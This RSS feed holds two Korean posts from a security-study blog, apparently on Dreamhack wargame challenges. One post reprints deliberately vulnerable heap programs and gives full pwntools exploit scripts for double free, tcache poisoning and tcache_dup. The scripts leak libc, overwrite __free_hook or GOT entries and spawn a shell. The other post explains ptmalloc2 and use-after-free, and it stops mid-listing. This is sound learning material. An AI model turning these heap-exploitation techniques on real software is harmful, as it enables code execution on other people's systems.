<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>gook_bob</title>
        <link>https://velog.io/</link>
        <description>항상 든든하게 코딩 한그릇🧑‍💻🍚</description>
        <lastBuildDate>Sun, 02 Feb 2025 07:07:20 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (C) 2019. gook_bob. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/gook_bob" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[드림핵-시스템] Double Free Bug]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Double-Free-Bug</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Double-Free-Bug</guid>
            <pubDate>Sun, 02 Feb 2025 07:07:20 GMT</pubDate>
            <description><![CDATA[<h1 id="1-double-free-bug">1. Double Free Bug</h1>
<ul>
<li>같은 청크를 두번 해제할 수 있는 버그</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>Free list 관점에서 Free는 청크 추가하는 함수, malloc은 청크를 꺼내는 함수<ul>
<li>임의의 청크에 대해 Free를 두번 이상 적용할 수 있다 : 같은 청크를 free list에 여러번 추가 가능하다는 뜻</li>
<li>duplicated chunk 존재시, duplicated free list 이용해 주소에 청크 할당 가능</li>
</ul>
</li>
<li>DFB 이용시 Duplicated Free list 만드는것 가능 - 청크와 연결리스트의 구조 때문
3, fd, bk 값 저장하는 공간은 할당된 청크에서 데이터를 저장하는데 사용됨 - Free list에 중복해서 포함된다면, 첫번째 재할당에서 fd,bk 조작해 Free list에 임의 주소 포함 가능</li>
</ol>
<h2 id="1-1-정적-패치-분석">1-1 정적 패치 분석</h2>
<blockquote>
</blockquote>
<ol>
<li>tcache_entry : double free 탐지 위해 key pointer가 tcache_entry에 추가됨<ul>
<li>tcache_entry는 해제된 tcache 청크들이 갖는 구조</li>
<li>fd가 next로 대체, LIFO 형태로 사용되므로 bk에 대응되는 값은 없다</li>
</ul>
</li>
<li>tcache_put : 해제한 청크를 tcache에 추가하는 함수<ul>
<li>해제되는 청크의 keydp Tcache라는 값을 대입하도록 변경됨</li>
<li>tcache는 tcache_perthread라는 구조체 변수 가짐</li>
</ul>
</li>
<li>tcache_get : tcache에 연결된 청크 재사용할때 사용하는 함수<ul>
<li>재사용하는 청크의 key값에 NULL 대입하도록 변경됨</li>
</ul>
</li>
<li>_int_free : 청크 해제시 호출되는 함수<ul>
<li>재할당하려는 청크의 key값이 tcach이면 double free 발생했다고 보고 프로그램 abort</li>
</ul>
</li>
</ol>
<h2 id="1-2동적-분석">1-2동적 분석</h2>
<blockquote>
</blockquote>
<ol>
<li>set $chunk={tcache_entry*)0x<del>~</del> : chunk 변수로 정의</li>
<li>이후 처크 해제할때까지 실행 후 메모리 출력시 Key값이 변경된 것을 확인 가능<ul>
<li>tcache_parthread에 tcache들 저장되기 때문</li>
</ul>
</li>
<li>위의 key값을 변경하지 않고 Free 재호출시 abort<ul>
<li>if(__glibc_unlikely (e -&gt; key ==tcache))만 통과하면 Tcache 청크 double free 가능</li>
</ul>
</li>
<li>해제된 청크의 Key값을 1비트만이라도 바꾼다면 우회가능</li>
</ol>
<h1 id="2-tcache_poison">2. tcache_poison</h1>
<ul>
<li>해당 문제는 Exploit tech를 보며 작성함 </li>
</ul>
<h2 id="2-1-동적-분석">2-1 동적 분석</h2>
<blockquote>
</blockquote>
<ul>
<li>plan</li>
</ul>
<ol>
<li>제목이 tcache_poison이기 때문에 tcache 관련 문제</li>
<li>gdb를 통해 heap, bins를 확인</li>
<li>checksec를 통해 보호기법 확인 후 exploit plan 계획</li>
</ol>
<ul>
<li>checksec </li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/39bd4af0-b801-494f-8f62-ef2dc229d1f9/image.png" alt=""></p>
<blockquote>
</blockquote>
<ol>
<li>NO PIE -&gt; double free를 이용해서 특정 GOT주소를 overwrite하면 될것 같음</li>
<li>로컬에서 해당 문제 접근시 문제 의도와 다른 동작 -&gt; Docker file을 이용해서 풀것</li>
</ol>
<h2 id="2-2-정적-분석">2-2 정적 분석</h2>
<ul>
<li>tcache_posion.c</li>
</ul>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf(&quot;1. Allocate\n&quot;);
    printf(&quot;2. Free\n&quot;);
    printf(&quot;3. Print\n&quot;);
    printf(&quot;4. Edit\n&quot;);
    scanf(&quot;%d&quot;, &amp;idx);

    switch (idx) {
      case 1:
        printf(&quot;Size: &quot;);
        scanf(&quot;%d&quot;, &amp;size);
        chunk = malloc(size);
        printf(&quot;Content: &quot;);
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf(&quot;Content: %s&quot;, chunk);
        break;
      case 4:
        printf(&quot;Edit chunk: &quot;);
        read(0, chunk, size - 1);
        break;
 r     default:
        break;
    }
  }

  return 0;
}</code></pre>
<blockquote>
</blockquote>
<ol>
<li>chunk NULL로 초기화 하지 않으므로 Dangling pointer</li>
<li>Tcache poison 통해 double free 우회<ul>
<li>alloc -&gt; free -&gt; edit -&gt; free 시 가능</li>
</ul>
</li>
<li>이후 onegadget을 이용해 exploit<ul>
<li>libc base 알아야함</li>
</ul>
</li>
</ol>
<blockquote>
</blockquote>
<ul>
<li>Exploit plan</li>
</ul>
<ol>
<li>Tcache Poisoning</li>
<li>Libc leak<ul>
<li>setvbuf - 인자로 stdin, stdout 전달<ul>
<li>libc 내부의 IO_2_1_stdin, IO_2_1_stdout을 가리킴</li>
<li>위 포인터들은 전역 변수 : .bss 위치 -&gt; PIE X -&gt; 포인터들의 주소는 고정</li>
</ul>
</li>
</ul>
</li>
<li>Hook oerwrite to get shell<ul>
<li>__free_hook의 주소 계산 후 oneg_gadget overwrite 이후 free 호출</li>
</ul>
</li>
</ol>
<h2 id="2-3-exploit-code">2-3 exploit code</h2>
<pre><code class="language-python"># Name: tcache_poison.py
from pwn import *

p = remote(&quot;host1.dreamhack.games&quot;, 20015)
e = ELF(&#39;./tcache_poison&#39;)
libc = ELF(&#39;./libc-2.27.so&#39;)

def slog(symbol, addr): return success(symbol + &#39;: &#39; + hex(addr))

def alloc(size, data):
    p.sendlineafter(b&#39;Edit\n&#39;, b&#39;1&#39;)
    p.sendlineafter(b&#39;:&#39;, str(size).encode())
    p.sendafter(b&#39;:&#39;, data)

def free():
    p.sendlineafter(b&#39;Edit\n&#39;, b&#39;2&#39;)

def print_chunk():
    p.sendlineafter(b&#39;Edit\n&#39;, b&#39;3&#39;)

def edit(data):
    p.sendlineafter(b&#39;Edit\n&#39;, b&#39;4&#39;)
    p.sendafter(b&#39;:&#39;, data)

# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty

# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b&#39;dreamhack&#39;)
free()

# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -&gt; chunk A -&gt; ...
edit(b&#39;B&#39;*8 + b&#39;\x00&#39;)
free()

# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -&gt; stdout -&gt; _IO_2_1_stdout_ -&gt; ...
addr_stdout = e.symbols[&#39;stdout&#39;]
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: stdout -&gt; _IO_2_1_stdout_ -&gt; ...
alloc(0x30, b&#39;BBBBBBBB&#39;)

# tcache[0x40]: _IO_2_1_stdout_ -&gt; ...
_io_2_1_stdout_lsb = p64(libc.symbols[&#39;_IO_2_1_stdout_&#39;])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`

print_chunk()
p.recvuntil(b&#39;Content: &#39;)
stdout = u64(p.recv(6).ljust(8, b&#39;\x00&#39;))
lb = stdout - libc.symbols[&#39;_IO_2_1_stdout_&#39;]
fh = lb + libc.symbols[&#39;__free_hook&#39;]
og = lb + 0x4f432

slog(&#39;libc_base&#39;, lb)
slog(&#39;free_hook&#39;, fh)
slog(&#39;one_gadget&#39;, og)

# Overwrite the `__free_hook` with the address of one-gadget

# Initial tcache[0x50] is empty.
# tcache[0x50]: Empty

# tcache[0x50]: chunk B
alloc(0x40, b&#39;dreamhack&#39;) # chunk B
free()

# tcache[0x50]: chunk B -&gt; chunk B -&gt; ...
edit(b&#39;C&#39;*8 + b&#39;\x00&#39;)
free()

# tcache[0x50]: chunk B -&gt; __free_hook
alloc(0x40, p64(fh))

# tcache[0x50]: __free_hook
alloc(0x40, b&#39;D&#39;*8)

# __free_hook = the address of one-gadget
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()</code></pre>
<h1 id="3-tcache_dup">3. Tcache_dup</h1>
<h2 id="3-1-동적-분석">3-1 동적 분석</h2>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/72da20ed-e085-4542-9876-8d0984c387c1/image.png" alt=""></p>
<ul>
<li>Dokcerfile 빌드 후 이미지 실행 할 것</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>create, delete 기능 있음<ul>
<li>index를 기준으로 free함</li>
</ul>
</li>
<li>double free 가능 -&gt; tcache_dup </li>
</ol>
<h2 id="3-2-정적-분석">3-2 정적 분석</h2>
<pre><code class="language-c">// gcc -o tcache_dup tcache_dup.c -no-pie
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;unistd.h&gt;

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt &gt; 10) {
        return -1;
    }
    printf(&quot;Size: &quot;);
    scanf(&quot;%d&quot;, &amp;size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf(&quot;Data: &quot;);
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf(&quot;idx: &quot;);
    scanf(&quot;%d&quot;, &amp;idx);

    if (idx &gt; 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system(&quot;/bin/sh&quot;);
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf(&quot;1. Create\n&quot;);
        printf(&quot;2. Delete\n&quot;);
        printf(&quot;&gt; &quot;);
        scanf(&quot;%d&quot;, &amp;idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}</code></pre>
<ul>
<li>tcache_poison 보다 쉬운 문제로 double free가 기본적으로 가능함</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>get_shell()함수가 있기 떄문에 one_gadget 사용 x -&gt; libc base안 구해도됨<ul>
<li>NO PIE 이기 때문</li>
</ul>
</li>
</ol>
<h2 id="3-3-exploit-code">3-3 exploit code</h2>
<pre><code class="language-python">from pwn import *

p = remote(&quot;host1.dreamhack.games&quot;, 14499)
#r = process(&quot;./tcache_dup&quot;)
e = ELF(&quot;./tcache_dup&quot;)
libc = ELF(&quot;./libc-2.27.so&quot;)
#gdb.attach(r)
def create(size,data):
    p.sendlineafter(&quot;&gt; &quot;,b&#39;1&#39;)
    p.sendlineafter(&quot;Size: &quot;,str(size).encode())
    p.sendafter(&quot;Data: &quot;,data)

def delete(idx):
    p.sendlineafter(&quot;&gt; &quot;,b&#39;2&#39;)
    p.sendlineafter(&quot;idx: &quot;,str(idx).encode())

getshell = e.symbols[&#39;get_shell&#39;]
success(&quot;getshell: &quot;+hex(getshell))

free_got = e.got[&#39;free&#39;]
success(&quot;free_got: &quot;+hex(free_got))

#tcache_dup
#tcache[0x40]: A
create(0x30,b&#39;A&#39;)
delete(0)

#tcache[0x40]: A -&gt; A
delete(0)

# tcache[0x40]: A -&gt; free_got
create(0x30, p64(free_got))

# tcache[0x40]: free_got
create(0x30, b&#39;B&#39;)

#tcache[0x40]: 
create(0x30, p64(getshell))

delete(0)

p.interactive()</code></pre>
<h1 id="4-tcache_dup2">4. tcache_dup2</h1>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/1a120e0a-56b5-4989-b5a6-149a08de399b/image.png" alt=""></p>
<blockquote>
</blockquote>
<ol>
<li>Partial RELRO</li>
<li>NO PIE</li>
</ol>
<h2 id="4-1-정적-분석">4-1 정적 분석</h2>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;unistd.h&gt;

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx &gt;= 7)
        exit(0);

    printf(&quot;Size: &quot;);
    scanf(&quot;%ld&quot;, &amp;size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf(&quot;Data: &quot;);
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf(&quot;idx: &quot;);
    scanf(&quot;%ld&quot;, &amp;idx);

    if (idx &gt;= 7)
        exit(0);

    printf(&quot;Size: &quot;);
    scanf(&quot;%ld&quot;, &amp;size);

    if (size &gt; 0x10)
        exit(0);

    printf(&quot;Data: &quot;);
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf(&quot;idx: &quot;);
    scanf(&quot;%ld&quot;, &amp;idx);
    if (idx &gt;= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system(&quot;/bin/sh&quot;);
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf(&quot;1. Create heap\n&quot;);
        printf(&quot;2. Modify heap\n&quot;);
        printf(&quot;3. Delete heap\n&quot;);
        printf(&quot;&gt; &quot;);

        scanf(&quot;%d&quot;, &amp;idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}</code></pre>
<blockquote>
</blockquote>
<ol>
<li>create 2번 -&gt; free -&gt; edit -&gt; free =&gt; tcache_dup 가능<ul>
<li>malloc 2번해야하는 이유 : <a href="https://dreamhack.io/forum/qna/4834/">참조</a><ul>
<li>충분한 tc_idx 할당하기 위해</li>
</ul>
</li>
</ul>
</li>
<li>tcache_dup과 같은 식으로 exploit code 작성하면 될듯</li>
</ol>
<h2 id="4-2-exploit-code">4-2 exploit code</h2>
<pre><code class="language-python">from pwn import *

p = remote(&quot;host1.dreamhack.games&quot;, 10854)
e = ELF(&quot;./tcache_dup2&quot;)
libc = ELF(&quot;./libc-2.30.so&quot;)

def slog(name, addr):
    return success(&quot; : &quot;.join([name, hex(addr)]))

def create(size, data):
    p.sendlineafter(&quot;&gt; &quot;, b&quot;1&quot;)
    p.sendlineafter(&quot;Size: &quot;, str(size).encode()) 
    p.sendlineafter(&quot;Data: &quot;, data)

def modify(idx, size, data):
    p.sendlineafter(&quot;&gt; &quot;, b&quot;2&quot;)
    p.sendlineafter(&quot;idx: &quot;, idx)
    p.sendlineafter(&quot;Size: &quot;, str(size).encode())
    p.sendlineafter(&quot;Data: &quot;, data)

def delete(idx):
    p.sendlineafter(&quot;&gt; &quot;, b&quot;3&quot;)
    p.sendlineafter(&quot;idx: &quot;, idx)

create(0x10, b&quot;A&quot;*8)
create(0x10, b&#39;B&#39;*8)
delete(b&#39;0&#39;)
delete(b&#39;1&#39;)
modify(b&quot;1&quot;, 0x10, b&quot;C&quot;*8 + b&#39;\x00&#39;)
delete(b&#39;1&#39;)

getshell = e.sym[&#39;get_shell&#39;]
puts = e.got[&#39;printf&#39;]

create(0x10, p64(puts))
create(0x10, b&#39;C&#39;*8)
create(0x10, p64(getshell))

p.interactive()</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵-시스템] Memory Corruption :  Use After Free]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Memory-Corruption-Use-After-Free</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Memory-Corruption-Use-After-Free</guid>
            <pubDate>Wed, 22 Jan 2025 06:53:06 GMT</pubDate>
            <description><![CDATA[<h1 id="1-ptmalloc2">1. ptmalloc2</h1>
<ul>
<li>어떤 메모리 해제되면 해제된 메모리의 특징을 기억하고 있다가 메모리의 할당 요청이 발생하면 이를 빠르게 반환해줌<ul>
<li>메모리의 할당속도 높이고, 불필요한 메모리 사용을 막을 수 있다.</li>
</ul>
</li>
</ul>
<h2 id="1-1-구현-목표">1-1 구현 목표</h2>
<ul>
<li>메모리의 효율적인 관리</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>메모리 낭비 방지</li>
<li>빠른 메모리 재사용</li>
<li>메모리 단편화 방지</li>
</ol>
<h3 id="1-메모리-낭비-방지">1. 메모리 낭비 방지</h3>
<blockquote>
</blockquote>
<ol>
<li>동적 할당, 해제는 매우 빈번하게 일어난다. 하지만 전체 메모리는 한정적이기 때문에 새로운 메모리 공간을 무한히 할당하는 것은 불가능</li>
<li>ptmalloc은 메모리 할당 요청 발생시 먼저 해제된 메모리 공간 중 재사용 가능한 공간 있는지 탐색</li>
<li>해제된 메모리 공간중 요청된 크기와 같은 크기 공간 있다면 그대로 재사용</li>
<li>작은 크기 할당 요청시 : 해제된 메모리 공간 중 매우 큰 공간 있으면 그 영역 나눠 주기도 함</li>
</ol>
<h3 id="2-빠른-메모리-재사용">2. 빠른 메모리 재사용</h3>
<blockquote>
</blockquote>
<ol>
<li>OS가 프로세스에게 제공해주는 가상 메모리 공간은 매우 넓다.<ul>
<li>특정 메모리 공간 해제한 이후 빠르게 재사용하려면 해당 주소 기억해야함</li>
<li>ptmmalloc은 해제시 tcache 또는 bin이라는 연결리스트에 해제된 공간 정보 저장</li>
</ul>
</li>
<li>tcache, bin 은 여러개 정의되어 있다. (서로 다른 메모리 공간들 저장)<ul>
<li>특정 크기 할당 요청 발생시, 그 크기와 관련된 저장소만 탐색</li>
</ul>
</li>
</ol>
<h3 id="3-메모리-단편화-방지">3. 메모리 단편화 방지</h3>
<blockquote>
</blockquote>
<ul>
<li>단편화 : 전체메모리 공간이 여러 데이터들에 의해 부분적으로 점유되며 나타나는 현상<ul>
<li>단편화 심해질 수록 각  데이터 사이에 공간 많아져 메모리 사용의 효율 감소</li>
</ul>
</li>
</ul>
<ol>
<li>내부 단편화(Internal Fragmentation)<ul>
<li>할당한 메모리 공간 크기 &gt; 실제 데이터 점유하는 공간</li>
</ul>
</li>
<li>외부 단편화(External Fragmentation)<ul>
<li>할당한 메모리 공간들 사이에 공간이 많아서 발생하는 비효율</li>
</ul>
</li>
</ol>
<blockquote>
</blockquote>
<ul>
<li>ptmall은 단편화 줄이기 위해 정렬, 병합, 분할 사용</li>
</ul>
<ol>
<li>64비트 ptmlloc은 메모리 공간 16바이트 단위로 할당<ul>
<li>4바이트 요청시 16할당, 17바이트 요청시 32바이트 할당</li>
<li>외부 단편화 감소 / 내부 단편화 발생 가능성</li>
</ul>
</li>
<li>공간 정렬하지 않고 프로세스가 요청하는 만큼 할당할 수 있다면 모든 데이터 연속적으로 할당되어 외부 단편화 최소화 가능<ul>
<li>공간 해제하고 재사용시 정확히 같은 크기의 할당 요청 발생할 확률보다 비슷한 크기의 요청 발생할 확률이 높다</li>
<li>비슷한 크기의 요청에 대해서는 모두 같은 크기의 공간 반환해야 해제된 청크들의 재사용률 높이고, 외부 단편화 줄일 수 있다.</li>
</ul>
</li>
</ol>
<h2 id="1-2-ptmlloc의-객체">1-2 ptmlloc의 객체</h2>
<ul>
<li>chunck, bin, tcache, arena를 주요 객체로 사용</li>
</ul>
<h1 id="2-chunck">2. chunck</h1>
<ul>
<li>Ptmalloc이 할당한 메모리 공간</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li>헤더와 데이터로 구성</li>
</ul>
<ol>
<li>헤더 : 청크 관리에 필요한 정보<ul>
<li>prev_size(8) : 인접한 직전 청크의 크기, 청크 병합시 직전 청크 찾는데 사용</li>
<li>size(8) : 현재 청크의 크기, 헤더의 크기 포함 (64비트 기준 16바이트) 사용자 요청한 크기 정렬하고 + 16바이트 더한값(헤더)</li>
<li>flags(3) : 16    바이트 단위로 할당, Size의 하위 4비트는 의미를 가지지 않기 때문에 하위 3비트에 청크 관리에 필요한 플래그 값으로 사용<ul>
<li>A : allocate arena</li>
<li>M : mmap&#39;d</li>
<li>P : prev-in-use : 직전 청크 사용 중인지, 병합 필요한지 판단</li>
</ul>
</li>
<li>fd(8) : 연결리스트에서 다음 청크 가리킴, free 된 청크에만 존재</li>
<li>bk(8) : 연결리스트에서 이전 청크 가리킴, free 된 청크에만</li>
</ul>
</li>
<li>데이터 영역 : 사용자가 입력한 데이터 저장</li>
</ol>
<h1 id="3-bin">3. bin</h1>
<ul>
<li>사용 끝난 청크들 저장되는 객체, 메모리의 낭비 막고 해제된 청크 빠르게 재사용 가능</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li><p>ptmalloc에는 128개의 bin정의됨</p>
<ul>
<li>smallbin(62)</li>
<li>largebin(63)</li>
<li>unsorted bin(1)</li>
<li>나머지 1개는 사용 x</li>
</ul>
<h2 id="3-1-small-bin">3-1 small bin</h2>
</li>
<li><p>32이상 1024 바이트 미만의 크기 갖는 청크들 보관</p>
</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>하나의 smallbin에는 같은 크기의 청크들만 보관되며 index 증가하면 저장되는 청크들의 크기는 16바이트씩 커짐<ul>
<li>smallbin[0] : 32byte 크기의 청크</li>
<li>smallbin[64] : 1008 크기 청크</li>
</ul>
</li>
<li>원형 이중 연결 리스트, 먼저 해제된 청크가 먼저 재할당(FIFO)</li>
<li>unlink : 청크 추가하거나 꺼낼대 고리 끊는 과정</li>
<li>consolidation : 병합</li>
</ol>
<h2 id="3-2-fastbin">3-2 fastbin</h2>
<ul>
<li>일반적으로 크기가 작은 청크들 큰 청크들보다 빈번하게 할당 해제<ul>
<li>작은 청크들의 할당 해제 효율적으로 하는게 전체적인 효율성 측면에서 중요</li>
</ul>
</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>ptmalloc은 크기를 정해두고 이보다 작은 청크는 Fastbin에 저장한다. 이들을 관리할때는 메모리 단편화보다 속도를 조금 더 우선순위에 둔다는 의미</li>
<li>32 ~ 176 바이트 크기의 청크들 보관<ul>
<li>리눅스는 32 ~ 128바이트 청크들 fastbin에 저장</li>
</ul>
</li>
<li>단일 연결리스트<ul>
<li>unlink 없다</li>
<li>LIFO 사용 : 속도 빠르지만 다른 방법에 비해 파편화 심함</li>
<li>fastbin에 저장되는 청크들은 서로 병합 x, 청크 간 병합에 사용되는 연산 아낌</li>
</ul>
</li>
</ol>
<h2 id="3-3-largebin">3-3 largebin</h2>
<ul>
<li>1024바이트 이상의 크기 갖는 청크들 보관 </li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>다양한 크기 갖는 청크들 관리<ul>
<li>largebin[0] : 1024 이상, 1088 미만 ...</li>
</ul>
</li>
<li>그 안에서 크기 가장 비슷한 청크(best-fit) 꺼내 재할당</li>
<li>내림차순으로 정렬하여 위 과정 빠르게 한다</li>
<li>이중 연결 리스트</li>
<li>unlink 동반</li>
</ol>
<h2 id="3-4-unsortedbin">3-4 unsortedbin</h2>
<blockquote>
</blockquote>
<ol>
<li>분류되지 않은 청크들</li>
<li>하나만 존재, fastbin에 들어가지 않는 모든 청크들 해제되었을 때 크기 구분하지 않고 unsortedbin에 저장</li>
<li>이중 연결리스트이며 내부적 정렬 x</li>
</ol>
<h3 id="청크-할당-탐색-순서">청크 할당 탐색 순서</h3>
<blockquote>
</blockquote>
<ol>
<li>ptmalloc은 청크 할당 요청시 fastbin, smallbin 먼저 탐색</li>
<li>범위 외의 청크의 경우 unsortedbin 먼저 탐색후 largebin 탐색</li>
</ol>
<ul>
<li>fastbin, smallbin &gt; unsortedbin &gt; largebin</li>
</ul>
<h1 id="4-arena">4. ARENA</h1>
<ul>
<li>위의 bin등의 정보 모두 담고 있는 객체</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>멀티 쓰레드 환경에서 ptmalloc은 레이스 컨디션 막기 위해 arena 접근시 arena에 락 적용<ul>
<li>레이스 컨디션 막을 순 있지만, 병목현상 발생 가능성</li>
</ul>
</li>
<li>ptmalloc은 64개의 arena 생성 가능, arena lock 걸린 경우 new arena 만들어 이를 피함</li>
</ol>
<h1 id="5-tcache">5. tcache</h1>
<ul>
<li>Tread local cache</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>각 스레드 독립적으로 할당되는 캐시 저장소<ul>
<li>각 쓰레드 64개의 tcache가짐</li>
</ul>
</li>
<li>LIFO 방식의 단일 연결리스트</li>
<li>하나의 tcahce에 보관가능한 청크 갯수 7개 제한<ul>
<li>tcache에 들어간 청크들은 병합되지 않는다</li>
</ul>
</li>
<li>32 ~ 1040 이하 크기 갖는 청크 보관<ul>
<li>해당 바이트 내 청크들은 할당 및 해제시 tcache를 가장 먼저 조회</li>
<li>tcache 가득찬 경우 bin으로 분류</li>
</ul>
</li>
</ol>
<ul>
<li>tcache는 각 쓰레드가 고유하게 갖는 캐시이기 때문에 ptmalloc은 레이스 컨디션 고려하지 않고 이 캐시에 접근 가능<ul>
<li>arena의 bin에 접근하기 전에 tcache 먼저 사용하므로 arena에서 발생할 수 있는 병목 현상 완화 효과</li>
</ul>
</li>
</ul>
<h1 id="6-use-after-free">6. Use After Free</h1>
<ul>
<li>메모리 참조에 사용한 포인터를 해제 후에 적절히 초기화하지 않아서 또는 해제한 메모리를 초기화하지 않고 다음 청크에 재할당해주면서 발생하는 취약점</li>
</ul>
<h2 id="6-1-dangling-pointer">6-1 Dangling Pointer</h2>
<ul>
<li>유효하지 않은 메모리 영역 가리키는 포인터</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>malloc : 할당한 메모리의 주소 반환<ul>
<li>일반적으로 동적할당시 포인터 선언하고 그 포인터에 malloc함수가 할당한 메모리의 주소 저장, 포인터 참조해 할당한 메모리에 접근</li>
</ul>
</li>
<li>free : 청크를 ptmalloc에 반환하기만 할 분 청크의 주소 담고 있던 포인터 초기화하지 않는다<ul>
<li>포인터 초기화하지 않으면, 포인터는 해제된 청크 가리키는 Dangling Pointer됨</li>
</ul>
</li>
<li>청크 해제후 변수 초기화하지 않을 시 해당 변수는 해제된 청크의 주소를 가리키고 있으므로 다시 해제가능 - Double Free Bug : 프로그램에 심각한 위협이 되는 SW 취약점</li>
</ol>
<h2 id="6-2-uaf">6-2 UAF</h2>
<ul>
<li>해제된 메모리에 접근할 수 있을때 발생하는 취약점</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>Dangling Pointer</li>
<li>새롭게 할당한 영역 초기화하지 않고 사용시</li>
<li>malloc, free 함수 할당, 해제시 메모리의 데이터들 초기화 x<ul>
<li>새롭게 할당한 청크를 프로그래머가 명시적으로 초기화하지 않으면, 메모리에 남아있던 데이터 유출되거나 사용가능</li>
</ul>
</li>
</ol>
<h2 id="6-3-code-분석">6-3 Code 분석</h2>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/10138f59-088c-455b-8a75-75d338ba155d/image.png" alt=""></p>
<blockquote>
</blockquote>
<ol>
<li>모든 보호기법 적용 확인</li>
</ol>
<pre><code class="language-c">// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf(&quot;Name: %s\n&quot;, robot-&gt;name); }

void menu() {
  printf(&quot;1. Human\n&quot;);
  printf(&quot;2. Robot\n&quot;);
  printf(&quot;3. Custom\n&quot;);
  printf(&quot;&gt; &quot;);
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human-&gt;name, &quot;Human&quot;);
  printf(&quot;Human Weight: &quot;);
  scanf(&quot;%d&quot;, &amp;human-&gt;weight);

  printf(&quot;Human Age: &quot;);
  scanf(&quot;%ld&quot;, &amp;human-&gt;age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot-&gt;name, &quot;Robot&quot;);
  printf(&quot;Robot Weight: &quot;);
  scanf(&quot;%d&quot;, &amp;robot-&gt;weight);

  if (robot-&gt;fptr)
    robot-&gt;fptr();
  else
    robot-&gt;fptr = print_name;

  robot-&gt;fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx &gt; 9) {
    printf(&quot;Custom FULL!!\n&quot;);
    return 0;
  }

  printf(&quot;Size: &quot;);
  scanf(&quot;%d&quot;, &amp;size);

  if (size &gt;= 0x100) {
    custom[c_idx] = malloc(size);
